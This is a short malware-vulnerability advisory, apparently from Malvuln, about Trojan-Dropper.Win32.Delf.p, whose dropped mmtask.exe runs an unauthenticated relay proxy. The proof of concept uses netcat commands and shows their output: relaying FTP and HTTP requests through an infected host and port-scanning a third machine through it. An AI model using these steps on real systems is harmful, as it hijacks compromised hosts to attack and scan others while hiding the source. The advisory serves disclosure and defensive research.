Trojan-Dropper.Win32.Delf.p Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.Delf.p  
Vulnerability: Missing Authentication  
Description: Delf.p drops an executable named "mmtask.exe" under system32 dir, it listens on TCP ports 3080,1180,1181,1182,1183 and UDP ports 53, 52304. The malware accepts TCP connections, connects to a destination, and relays requests from the original connection to the destination and then back to the origination system. Attackers who can reach an infected system may launch attacks or port scan third party systems and will appear as the attacks originated from that infected host. The malware can make connections to various protocols like TELNET, HTTP, SSH, POP3 etc  
Type: PE32  
MD5: b02cc578d2e7f24fb67ec0afc42a9e13  
Vuln ID: MVID-2021-0132  
Dropped files: mmtask.exe   
Disclosure: 03/16/2021  
  
Exploit/PoC:  
nc64.exe MALWARE_HOST 1183  
220 WinGate Engine FTP Gateway ready  
USER root@TARGET_IP:21  
331 Please specify the password.  
PASS ""  
230 Login successful.  
  
  
nc64.exe MALWARE_HOST 1183  
USER root@TARGET_IP:80  
GET / HTTP/1.1  
  
HTTP/1.0 200 OK  
  
  
TCP port 1181 port scanning:  
  
Test port 22  
  
nc64.exe 192.168.88.128 1181  
√ √ ²cisco>192.168.88.129:22  
192.168.88.129:22  
Connecting to host 192.168.88.129...Connected  
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8  
  
Port 22 open  
  
Test port 23  
  
nc64.exe 192.168.88.128 1181  
√ √ ²cisco>192.168.88.129:23  
192.168.88.129:23  
Connecting to host 192.168.88.129...Connection refused by Remote Host  
  
Port 23 closed  
  
  
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